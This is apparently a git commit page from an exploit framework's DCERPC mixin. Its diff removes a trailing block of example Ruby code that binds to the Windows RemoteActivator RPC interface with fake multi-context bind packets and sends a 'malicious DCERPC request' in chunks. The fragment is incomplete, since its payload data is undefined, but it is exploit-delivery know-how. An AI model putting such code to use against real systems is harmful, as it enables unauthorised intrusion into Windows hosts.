Removed comments from the __DATA__
git-svn-id: file:///home/svn/incoming/trunk@2853 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
5e5f7eed24
commit
8c1fc64517
|
@ -134,29 +134,3 @@ module Exploit::Remote::DCERPC
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
__END__
|
||||
|
||||
u = Rex::Proto::DCERPC::UUID.new()
|
||||
|
||||
uuid = u.uuid_by_name('REMACT')
|
||||
vers = u.vers_by_name('REMACT')
|
||||
|
||||
print_status("Attempting to bind to the RemoteActivator interface...")
|
||||
bind_pkt, ctx = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(uuid, vers, 10, 4)
|
||||
|
||||
sock.put(bind_pkt)
|
||||
resp = d.read_response(sock)
|
||||
|
||||
if (resp.ack_result[ctx] != 0)
|
||||
print_status("DCERPC bind to the RemoteActivator interface failed")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Successful bind to the RemoteActivator interface")
|
||||
|
||||
print_status("Sending the malicious DCERPC request...")
|
||||
Rex::Proto::DCERPC::Packet.make_request(0, stubdata, 256, ctx).each do |chunk|
|
||||
sock.put(chunk)
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue